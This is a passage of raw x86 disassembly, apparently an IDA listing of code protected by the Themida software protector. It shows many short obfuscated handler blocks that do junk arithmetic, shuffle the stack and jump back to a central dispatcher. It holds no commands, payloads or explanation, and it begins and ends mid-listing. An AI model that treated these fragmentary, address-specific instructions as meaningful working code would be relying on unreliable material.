		mov	[edi+eax*4], bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_550420
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_565579
; ---------------------------------------------------------------------------


loc_554874:				; CODE XREF: Themida_:0056053Aj
		shl	ebx, 3
		and	ebx, 16C3154Eh
		inc	ebx
		dec	ebx
		add	ebx, 2E222D6Ch
		mov	edx, ebx
		jmp	loc_5615EB
; ---------------------------------------------------------------------------


loc_55488C:				; CODE XREF: Themida_:005627E2j
		add	esp, 4
		push	40E7h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 6F9007A1h
		jmp	loc_5618B5
; ---------------------------------------------------------------------------


loc_5548AD:				; CODE XREF: Themida_:0055314Cj
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5548B2:				; CODE XREF: Themida_:0055DDF7j
		sub	ecx, 4C051B27h
		sub	edx, 1F666305h
		add	edx, ecx
		push	eax
		push	ecx
		push	esi
		mov	esi, 9600F54h
		jmp	loc_565319
; ---------------------------------------------------------------------------


loc_5548CD:				; CODE XREF: Themida_:005532FBj
		sub	edi, 8780A691h
		and	esi, edi
		pop	edi
		add	esi, 0EFFFFF84h
		add	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ch, 4
		jmp	loc_550906
; ---------------------------------------------------------------------------


loc_554906:				; CODE XREF: Themida_:0055E85Aj
		mov	ebp, 774829AEh
		jmp	loc_555B08
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1B6h
		mov	[esp], eax
		jmp	loc_5620B7
; ---------------------------------------------------------------------------


loc_554921:				; CODE XREF: Themida_:00551BB8j
		mov	esi, 4
		jmp	loc_562303
; ---------------------------------------------------------------------------


loc_55492B:				; CODE XREF: Themida_:005554DDj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		jmp	loc_551348
; ---------------------------------------------------------------------------


loc_55493F:				; CODE XREF: Themida_:00563CE6j
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_55E95F
; ---------------------------------------------------------------------------


loc_554956:				; CODE XREF: Themida_:0056148Cj
		add	ebx, 4
		jmp	loc_559983
; ---------------------------------------------------------------------------


loc_554961:				; CODE XREF: Themida_:00554C08j
		pop	ecx
		jmp	loc_5510FC
; ---------------------------------------------------------------------------


loc_554967:				; CODE XREF: Themida_:00556721j
		add	ebp, eax
		pop	eax
		push	edx
		mov	edx, 383F451Bh
		inc	edx
		dec	edx
		not	edx
		inc	edx
		shl	edx, 8
		add	edx, 3F451B04h
		jmp	loc_556ACB
; ---------------------------------------------------------------------------


loc_554983:				; CODE XREF: Themida_:0055C1B6j
		push	edx
		push	6CCE0584h
		jmp	loc_555C94
; ---------------------------------------------------------------------------


loc_55498E:				; CODE XREF: Themida_:00551633j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_555B4F
; ---------------------------------------------------------------------------


loc_554999:				; CODE XREF: Themida_:00559E7Fj
		sub	ecx, 0AB8DB022h
		push	eax
		mov	eax, ecx
		jmp	loc_5554E2
; ---------------------------------------------------------------------------


loc_5549A7:				; CODE XREF: Themida_:005512EAj
		pop	eax
		and	eax, 47ED7B93h
		xor	eax, 71E91B01h
		shr	eax, 7
		xor	eax, 221A0EEDh
		xor	eax, 2F267DC4h
		xor	ecx, eax
		pop	eax
		jmp	loc_55636D
; ---------------------------------------------------------------------------


loc_5549C7:				; CODE XREF: Themida_:0056276Bj
		shr	eax, 7
		add	eax, 23161CC4h
		jmp	loc_55C3ED
; ---------------------------------------------------------------------------


loc_5549D4:				; CODE XREF: Themida_:005567D7j
		add	eax, 65140267h
		or	eax, 38A11C90h
		push	ecx
		mov	ecx, 41345D7Bh
		add	eax, ecx
		pop	ecx
		not	eax
		add	eax, 297765FDh
		add	eax, 0CCA38A8h
		or	ebp, eax
		pop	eax
		and	ebp, 4A593900h
		sub	esp, 4
		jmp	loc_5585BD
; ---------------------------------------------------------------------------


loc_554A07:				; CODE XREF: Themida_:0056252Aj
		mov	[esp], ebx
		mov	ebx, 6C82563Fh
		sub	eax, 3C9129E2h
		sub	eax, ebx
		add	eax, 3C9129E2h
		pop	ebx
		push	edi
		push	47A9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebp
		jmp	loc_5522C1
; ---------------------------------------------------------------------------


loc_554A33:				; CODE XREF: Themida_:0055CC64j
		shl	edi, 8
		jmp	loc_561905
; ---------------------------------------------------------------------------


loc_554A3B:				; CODE XREF: Themida_:005528DBj
		push	esp
		jmp	loc_55D781
; ---------------------------------------------------------------------------


loc_554A41:				; CODE XREF: Themida_:0055715Cj
		pop	esi
		add	ecx, ebx
		sub	ecx, 367C6F30h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shl	ecx, 4
		add	ecx, 0FFFFFFFFh
		and	ecx, 48B927D9h
		jmp	loc_553F29
; ---------------------------------------------------------------------------


loc_554A65:				; CODE XREF: Themida_:00562A6Bj
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7AAA283Ch
		xor	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	27364E7Eh
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_562FCC
; ---------------------------------------------------------------------------


loc_554A8E:				; CODE XREF: Themida_:0055F405j
		pop	edx
		sub	ebx, 77B94138h
		jmp	loc_562A92
; ---------------------------------------------------------------------------


loc_554A9A:				; CODE XREF: Themida_:0055E6BAj
		pop	edx
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 46290D2Fh
		or	edx, 10190DD6h
		jmp	loc_55696F
; ---------------------------------------------------------------------------


loc_554AB9:				; CODE XREF: Themida_:0055648Aj
		sub	bl, cl
		sub	bl, 38h
		pop	ecx
		jmp	loc_55786E
; ---------------------------------------------------------------------------


loc_554AC4:				; CODE XREF: Themida_:00557EA8j
		push	ebp
		mov	ebp, 9307C03h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 21E8129Eh
		sub	eax, ebx
		pop	ebx
		add	eax, 44A0347Ch
		sub	eax, ebx
		jmp	loc_55AB90
; ---------------------------------------------------------------------------


loc_554AE7:				; CODE XREF: Themida_:0055A8B3j
		sub	esi, ebx
		pop	ebx
		xor	esi, 0BDC197CAh
		jmp	loc_561F5D
; ---------------------------------------------------------------------------


loc_554AF5:				; CODE XREF: Themida_:0055EE71j
		mov	eax, 515A23A5h
		and	edi, eax
		pop	eax
		xor	edi, 410A0023h
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_554B15:				; CODE XREF: Themida_:00556249j
		add	ebx, edx
		pop	edx
		inc	ebx
		inc	ebx
		push	ebp
		mov	ebp, 6E80F4CDh
		xor	ebx, ebp
		jmp	loc_55A8B2
; ---------------------------------------------------------------------------


loc_554B27:				; CODE XREF: Themida_:00553BD7j
		not	cl
		jmp	loc_554CCB
; ---------------------------------------------------------------------------


loc_554B2E:				; CODE XREF: Themida_:005614D3j
		add	ecx, eax
		jmp	loc_554546
; ---------------------------------------------------------------------------


loc_554B35:				; CODE XREF: Themida_:0055B0EBj
		add	edx, ebx
		pop	ebx
		push	ecx
		jmp	loc_5654A1
; ---------------------------------------------------------------------------


loc_554B3E:				; CODE XREF: Themida_:0055240Dj
		push	esi
		push	edi
		push	ecx
		mov	ecx, 5E991793h
		xor	ecx, 1F3E7B3Ch
		mov	edi, ecx
		jmp	loc_555320
; ---------------------------------------------------------------------------


loc_554B53:				; CODE XREF: Themida_:0055EDD1j
		mov	bh, 0C4h
		and	al, bh
		pop	ebx
		push	edx
		mov	dl, 85h
		add	al, 95h
		jmp	loc_56466E
; ---------------------------------------------------------------------------


loc_554B62:				; CODE XREF: Themida_:0055D53Cj
		mov	[esp], ecx
		jmp	loc_560CDD
; ---------------------------------------------------------------------------


loc_554B6A:				; CODE XREF: Themida_:005528B2j
		pop	edx
		jmp	loc_560B89
; ---------------------------------------------------------------------------


loc_554B70:				; CODE XREF: Themida_:00563421j
		push	ebx
		mov	ebx, 3F3F31D8h
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	ebx
		pop	ecx
		push	ebx
		jmp	loc_55802F
; ---------------------------------------------------------------------------


loc_554B89:				; CODE XREF: Themida_:0055C556j
		add	esp, 4
		push	eax
		mov	eax, 4
		jmp	loc_559520
; ---------------------------------------------------------------------------


loc_554B97:				; CODE XREF: Themida_:0055B104j
		push	6732h
		mov	[esp], ecx
		sub	dword ptr [esp], 0EB25A30h
		pop	ebx
		add	ebx, 0EB25A30h
		jmp	loc_55E7AD
; ---------------------------------------------------------------------------


loc_554BB2:				; CODE XREF: Themida_:0055B9E6j
		push	ebx
		push	edx
		mov	edx, 43732162h
		add	edx, 1EE12424h
		mov	ebx, edx
		pop	edx
		sub	ebx, 0FB992D64h
		xor	edi, ebx
		pop	ebx
		xor	edi, 1C966020h
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		jmp	loc_5602DC
; ---------------------------------------------------------------------------


loc_554BDC:				; CODE XREF: Themida_:0055ADFCj
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		push	51E2h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55FE2B
; ---------------------------------------------------------------------------


loc_554C01:				; CODE XREF: Themida_:0055D298j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_554961
; ---------------------------------------------------------------------------


loc_554C0D:				; CODE XREF: Themida_:00550D5Bj
		push	esi
		push	ebx
		mov	ebx, 0AF37782h
		mov	esi, ebx
		jmp	loc_5607A7
; ---------------------------------------------------------------------------


loc_554C1B:				; CODE XREF: Themida_:0055E2A9j
		pop	edx
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 1
		jmp	loc_554450
; ---------------------------------------------------------------------------


loc_554C3A:				; CODE XREF: Themida_:005597D2j
		push	ebp
		mov	ebp, 13666E6Ch
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5559D2
; ---------------------------------------------------------------------------


loc_554C4E:				; CODE XREF: Themida_:0055659Fj
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 2
		jmp	loc_55731D
; ---------------------------------------------------------------------------


loc_554C62:				; CODE XREF: Themida_:0055835Fj
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55296C
; ---------------------------------------------------------------------------


loc_554C7D:				; CODE XREF: Themida_:0055629Cj
		xchg	edx, esi
		xchg	esi, [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_560AAD
; ---------------------------------------------------------------------------


loc_554C8B:				; CODE XREF: Themida_:00550DF1j
		sub	dh, 96h
		pop	ecx
		or	bl, dh
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 0BBh
		jmp	loc_553AEE
; ---------------------------------------------------------------------------


loc_554CA2:				; CODE XREF: Themida_:0056268Bj
		push	bx
		mov	bl, 5
		jmp	loc_565437
; ---------------------------------------------------------------------------


loc_554CAB:				; CODE XREF: Themida_:00556970j
		mov	ecx, 22677B1Ch
		jmp	loc_5562A1
; ---------------------------------------------------------------------------


loc_554CB5:				; CODE XREF: Themida_:00556073j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_554CBA:				; CODE XREF: Themida_:00557DA7j
		sub	esi, 8AB65A7h
		add	esi, 66B7164h
		jmp	loc_55829D
; ---------------------------------------------------------------------------


loc_554CCB:				; CODE XREF: Themida_:00554B29j
		xor	cl, 91h
		neg	cl
		jmp	loc_5635AD
; ---------------------------------------------------------------------------


loc_554CD5:				; CODE XREF: Themida_:00552A5Aj
		xchg	ebx, [esp]
		mov	esi, [esp]
		jmp	loc_56521C
; ---------------------------------------------------------------------------


loc_554CE0:				; CODE XREF: Themida_:00563C17j
		mov	[esp], eax
		push	7002h
		mov	[esp], edx
		jmp	loc_55E018
; ---------------------------------------------------------------------------


loc_554CF0:				; CODE XREF: Themida_:00559E78j
		push	6F6Eh
		mov	[esp], eax
		jmp	loc_55681F
; ---------------------------------------------------------------------------


loc_554CFD:				; CODE XREF: Themida_:0056387Aj
		mov	ebx, 0BEB3D45h
		neg	ebx
		xor	ebx, 53D122E4h
		shr	ebx, 5
		sub	ebx, 0C520D93Ch
		mov	eax, ebx
		pop	ebx
		or	eax, 20D40F35h
		jmp	loc_5588B8
; ---------------------------------------------------------------------------


loc_554D20:				; CODE XREF: Themida_:00560ABDj
		pop	esp
		jmp	loc_56280A
; ---------------------------------------------------------------------------


loc_554D26:				; CODE XREF: Themida_:00563FDDj
		mov	esi, esp
		add	esi, 4
		jmp	loc_555945
; ---------------------------------------------------------------------------


loc_554D33:				; CODE XREF: Themida_:0055E094j
		sub	ch, 60h
		push	ebx
		mov	bl, 12h
		inc	bl
		inc	bl
		not	bl
		sub	bl, 24h
		shl	bl, 3
		add	bl, 2Fh
		or	ch, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	ch, 2Eh
		mov	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		shl	bh, 1
		shr	bh, 2
		and	bh, 0A8h
		dec	bh
		not	bh
		add	bh, 0BAh
		add	al, 73h
		jmp	loc_55286D
; ---------------------------------------------------------------------------


loc_554D74:				; CODE XREF: Themida_:00555D53j
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		jmp	loc_5540E3
; ---------------------------------------------------------------------------


loc_554D84:				; CODE XREF: Themida_:00550F85j
		push	edi
		pop	ebp
		pop	edi
		or	edx, ebp
		jmp	loc_55B206
; ---------------------------------------------------------------------------


loc_554D8E:				; CODE XREF: Themida_:00556F07j
		add	ebx, edx
		add	ebx, 610856B7h
		sub	ebx, 44717C5Ch
		jmp	loc_552A36
; ---------------------------------------------------------------------------


loc_554DA1:				; CODE XREF: Themida_:0055834Bj
		add	esp, 4
		push	edx
		mov	dh, 0ACh
		add	al, dh
		pop	edx
		jmp	loc_550612
; ---------------------------------------------------------------------------


loc_554DB2:				; CODE XREF: Themida_:0055B9FAj
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_559331
; ---------------------------------------------------------------------------


loc_554DD1:				; CODE XREF: Themida_:00560144j
		push	eax
		mov	eax, 12BF6E25h
		add	edx, eax
		pop	eax
		pop	esi
		push	edi
		jmp	loc_565687
; ---------------------------------------------------------------------------


loc_554DE1:				; CODE XREF: Themida_:0055D587j
		pop	small word ptr [edi+eax*4]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_554DEA:				; CODE XREF: Themida_:0055B62Aj
		mov	edi, 4B7308BBh
		xor	edx, edi
		pop	edi
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]


loc_554E01:				; CODE XREF: Themida_:00551819j
		push	42B8h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 2C314EFDh
		neg	edx
		jmp	loc_555138
; ---------------------------------------------------------------------------


loc_554E1F:				; CODE XREF: Themida_:00551109j
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		jmp	loc_551C9A
; ---------------------------------------------------------------------------


loc_554E2D:				; CODE XREF: Themida_:0055D2B0j
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		jmp	loc_552B50
; ---------------------------------------------------------------------------


loc_554E5B:				; CODE XREF: Themida_:005511A3j
		mov	edi, 4
		add	eax, edi
		jmp	loc_55D27F
; ---------------------------------------------------------------------------


loc_554E67:				; CODE XREF: Themida_:0056419Fj
		mov	dl, al
		mov	cl, dl
		jmp	loc_562F35
; ---------------------------------------------------------------------------


loc_554E70:				; CODE XREF: Themida_:00564937j
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5577C8
; ---------------------------------------------------------------------------


loc_554E7F:				; CODE XREF: Themida_:005636E3j
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_557435
; ---------------------------------------------------------------------------


loc_554E8C:				; CODE XREF: Themida_:00553D02j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_554E91:				; CODE XREF: Themida_:00565230j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		push	eax
		push	edx
		jmp	loc_55E6AD
; ---------------------------------------------------------------------------


loc_554EB4:				; CODE XREF: Themida_:00558562j
		push	ebp
		mov	ebp, 4
		jmp	loc_554FF7
; ---------------------------------------------------------------------------


loc_554EBF:				; CODE XREF: Themida_:00550980j
		sub	edi, ebp
		pop	ebp
		push	edx
		mov	edx, 7A167DB7h
		jmp	loc_56264E
; ---------------------------------------------------------------------------


loc_554ECD:				; CODE XREF: Themida_:0055DCFCj
		add	esp, 4
		add	eax, 411C7846h
		sub	eax, ebx
		sub	eax, 411C7846h
		push	ecx
		mov	ecx, 6E031FF6h
		xor	ecx, 3B781B7Fh
		neg	ecx
		sub	ecx, 0B6C3A15h
		jmp	loc_559039
; ---------------------------------------------------------------------------


loc_554EF8:				; CODE XREF: Themida_:00562F14j
		not	esi
		jmp	loc_562C39
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_555B90
; ---------------------------------------------------------------------------


loc_554F07:				; CODE XREF: Themida_:0055CED2j
		add	esp, 4
		jmp	loc_55C8EA
; ---------------------------------------------------------------------------


loc_554F0F:				; CODE XREF: Themida_:0055B014j
		sub	dh, 0FFh
		jmp	loc_5528A7
; ---------------------------------------------------------------------------


loc_554F17:				; CODE XREF: Themida_:0055F314j
		push	dword ptr [esp]
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_560BB6
; ---------------------------------------------------------------------------


loc_554F25:				; CODE XREF: Themida_:0056175Dj
		sub	ecx, 3C52D6Fh
		neg	ecx
		push	eax
		mov	eax, 3CFFB71h
		jmp	loc_55F2A2
; ---------------------------------------------------------------------------


loc_554F38:				; CODE XREF: Themida_:0055D03Aj
		add	al, bl
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	al, 0B8h
		shl	al, 8
		push	cx
		push	edx
		push	ebx
		mov	bl, 0F0h
		mov	dl, bl
		pop	ebx
		mov	ch, dl
		pop	edx
		add	al, 12h
		add	al, 48h
		add	al, ch
		jmp	loc_55CC9D
; ---------------------------------------------------------------------------


loc_554F5E:				; CODE XREF: Themida_:0055992Fj
		mov	esi, 267E10BCh
		sub	ecx, esi
		pop	esi
		add	ecx, 2B75B59Fh
		add	ebx, ecx
		pop	ecx
		pop	ebp
		jmp	loc_564BC6
; ---------------------------------------------------------------------------


loc_554F75:				; CODE XREF: Themida_:0055FB62j
		push	eax
		mov	eax, 0B6163BBFh
		add	edi, 36115B46h
		add	edi, eax
		push	ebp
		mov	ebp, 3F350953h
		inc	ebp
		jmp	loc_551831
; ---------------------------------------------------------------------------


loc_554F8F:				; CODE XREF: Themida_:00552A38j
		push	2
		jmp	loc_562EB2
; ---------------------------------------------------------------------------


loc_554F99:				; CODE XREF: Themida_:005550F2j
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55F27E
; ---------------------------------------------------------------------------


loc_554FA5:				; CODE XREF: Themida_:0055075Bj
		mov	ecx, 390612F8h
		xor	ecx, 161C79F5h
		xor	ecx, 66893435h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_552D42
; ---------------------------------------------------------------------------


loc_554FBE:				; CODE XREF: Themida_:00557B6Fj
		pop	ecx
		jmp	loc_559C28
; ---------------------------------------------------------------------------


loc_554FC4:				; CODE XREF: Themida_:00555632j
		shl	ebx, 8
		or	ebx, 0F974C22h
		not	ebx
		push	ebp
		mov	ebp, 61097FD5h
		dec	ebp
		sub	ebp, 2C5F0315h
		jmp	loc_562507
; ---------------------------------------------------------------------------


loc_554FE1:				; CODE XREF: Themida_:00559B68j
		xchg	edx, [esp]
		pop	ebp
		push	edi
		push	ebp
		pop	edi
		pop	ebp
		add	edi, 0FFFFFFFFh
		xor	edi, 0E67080A4h
		jmp	loc_550805
; ---------------------------------------------------------------------------


loc_554FF7:				; CODE XREF: Themida_:00554EBAj
		sub	dword ptr [esp+4], 404F5D17h
		add	dword ptr [esp+4], 2B88194Eh
		jmp	loc_55A8F9
; ---------------------------------------------------------------------------


loc_55500C:				; CODE XREF: Themida_:00552007j
		xchg	ch, [esp+1]
		not	ch
		xchg	ch, [esp+1]
		push	dword ptr [esp]
		jmp	loc_560C3D
; ---------------------------------------------------------------------------


loc_55501E:				; CODE XREF: Themida_:005600C5j
		add	edi, 6FF37307h
		and	edi, 321E761Bh
		sub	edi, 200A2207h
		jmp	loc_561AA0
; ---------------------------------------------------------------------------


loc_555035:				; CODE XREF: Themida_:0055C351j
		and	ecx, ebp
		jmp	loc_55B30C
; ---------------------------------------------------------------------------


loc_55503C:				; CODE XREF: Themida_:0055ED3Cj
		mov	edi, 4
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	eax, edi
		jmp	loc_55FA06
; ---------------------------------------------------------------------------


loc_555059:				; CODE XREF: Themida_:00558DF8j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55B8B8
; ---------------------------------------------------------------------------


loc_555073:				; CODE XREF: Themida_:0055A7DBj
		add	esp, 4
		push	215Ah
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_555093:				; CODE XREF: Themida_:0055F2E2j
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	ebp
		add	ebp, 0FFFFFFFFh
		xchg	ebp, esi
		xor	esi, 5B5F7FBAh
		push	eax
		mov	eax, 30h
		add	eax, 7B0A5700h
		add	eax, edx
		jmp	loc_55CBFB
; ---------------------------------------------------------------------------


loc_5550C6:				; CODE XREF: Themida_:00557844j
		push	5984h
		mov	[esp], edx
		push	ecx
		mov	ecx, 5B005E76h
		neg	ecx
		jmp	loc_556726
; ---------------------------------------------------------------------------


loc_5550DB:				; CODE XREF: Themida_:00561062j
		push	edx
		mov	dl, 1Fh
		sub	bh, dl
		pop	edx
		xor	al, bh
		pop	ebx
		jmp	loc_55D582
; ---------------------------------------------------------------------------


loc_5550E9:				; CODE XREF: Themida_:00552A50j
		mov	dword ptr [ecx], 0
		push	dword ptr [esp]
		jmp	loc_554F99
; ---------------------------------------------------------------------------


loc_5550F7:				; CODE XREF: Themida_:0055C111j
		pop	esp
		jmp	loc_56437B
; ---------------------------------------------------------------------------


loc_5550FD:				; CODE XREF: Themida_:0055AAD4j
		mov	cl, 64h
		and	bl, cl
		jmp	loc_550DFD
; ---------------------------------------------------------------------------


loc_555106:				; CODE XREF: Themida_:005626DCj
		mov	esp, [esp]
		xor	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55CB47
; ---------------------------------------------------------------------------


loc_555125:				; CODE XREF: Themida_:0055D6A0j
		add	edx, 540C7F6Ah
		add	edx, eax
		sub	edx, 540C7F6Ah
		jmp	loc_551758
; ---------------------------------------------------------------------------


loc_555138:				; CODE XREF: Themida_:00554E1Aj
		shr	edx, 8
		xor	edx, 7E520F57h
		shr	edx, 2
		jmp	loc_555EFC
; ---------------------------------------------------------------------------


loc_555149:				; CODE XREF: Themida_:0055FF65j
		push	643E2B1Fh
		jmp	loc_55BC11
; ---------------------------------------------------------------------------


loc_555153:				; CODE XREF: Themida_:0055C57Aj
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, ebp
		jmp	loc_557B89
; ---------------------------------------------------------------------------


loc_555160:				; CODE XREF: Themida_:00556C2Cj
		shr	edi, 3
		shr	edi, 4
		dec	edi
		shr	edi, 1
		xchg	ebx, edi
		inc	ebx
		xchg	ebx, edi
		jmp	loc_5544B0
; ---------------------------------------------------------------------------


loc_555173:				; CODE XREF: Themida_:00556EC6j
		push	edi
		dec	dword ptr [esp]
		jmp	loc_55BBBF
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55CB75
; ---------------------------------------------------------------------------


loc_555185:				; CODE XREF: Themida_:00552719j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 2C256FEBh
		dec	ebx
		jmp	loc_55D2C7
; ---------------------------------------------------------------------------


loc_55519A:				; CODE XREF: Themida_:00552B6Fj
		sub	esi, 324D7944h
		jmp	loc_55E55B
; ---------------------------------------------------------------------------


loc_5551A5:				; CODE XREF: Themida_:00558047j
		sub	dh, 87h
		sub	al, dh
		mov	edx, [esp]
		push	ebx
		jmp	loc_558D6C
; ---------------------------------------------------------------------------


loc_5551B3:				; CODE XREF: Themida_:00558AD9j
		mov	[esp], edi
		mov	edi, edx
		push	edi
		add	dword ptr [esp], 5E863B2h
		pop	ebx
		jmp	loc_565343
; ---------------------------------------------------------------------------


loc_5551C6:				; CODE XREF: Themida_:00551BF9j
		pop	eax
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edx, ebp
		pop	ebp
		and	ecx, edx
		jmp	loc_55414C
; ---------------------------------------------------------------------------


loc_5551D9:				; CODE XREF: Themida_:0055EF2Ej
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 41F77DDCh
		add	ebx, 57E74FA6h
		add	ebx, 0B959CD97h
		xor	ecx, ebx
		pop	ebx
		dec	ecx
		or	ecx, 7DD33591h
		jmp	loc_55F982
; ---------------------------------------------------------------------------


loc_555200:				; CODE XREF: Themida_:00558246j
		sub	esi, 27F572Fh
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_550420
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		push	64A9h
		mov	[esp], edx
		jmp	loc_562A70
; ---------------------------------------------------------------------------


loc_555259:				; CODE XREF: Themida_:00562257j
		pop	eax
		add	ebx, 2
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5572E0
; ---------------------------------------------------------------------------


loc_555268:				; CODE XREF: Themida_:0055F3D0j
		xor	al, bh
		jmp	loc_55E6F0
; ---------------------------------------------------------------------------


loc_55526F:				; CODE XREF: Themida_:0055DDC3j
		xor	eax, 79C3D90h
		not	eax
		jmp	loc_558E33
; ---------------------------------------------------------------------------


loc_55527B:				; CODE XREF: Themida_:00554721j
		push	683Ah
		mov	[esp], edi
		mov	edi, 4C1E6558h
		sub	edx, edi
		jmp	loc_55EB2D
; ---------------------------------------------------------------------------


loc_55528F:				; CODE XREF: Themida_:0055EFABj
		mov	esi, 294E16BFh
		jmp	loc_5530AF
; ---------------------------------------------------------------------------


loc_555299:				; CODE XREF: Themida_:00564AD2j
		sub	edi, 758004Fh
		sub	edi, 0FFFFFFFFh
		push	ebp
		jmp	loc_561EA9
; ---------------------------------------------------------------------------


loc_5552A8:				; CODE XREF: Themida_:0055046Aj
		mov	ebx, 7DA293Ch
		mov	edi, 7DA2940h
		jmp	loc_551095
; ---------------------------------------------------------------------------


loc_5552B7:				; CODE XREF: Themida_:00560F3Ej
		mov	ecx, 66D512FFh
		jmp	loc_558BE3
; ---------------------------------------------------------------------------


loc_5552C1:				; CODE XREF: Themida_:005638B4j
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_560C6E
; ---------------------------------------------------------------------------


loc_5552DB:				; CODE XREF: Themida_:0056082Cj
		sub	al, dl
		add	al, 0C7h
		jmp	loc_552A28
; ---------------------------------------------------------------------------


loc_5552E4:				; CODE XREF: Themida_:00558D67j
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5552F0:				; CODE XREF: Themida_:005509DCj
		pop	esp
		jmp	loc_55A7EF
; ---------------------------------------------------------------------------


loc_5552F6:				; CODE XREF: Themida_:0055C9D5j
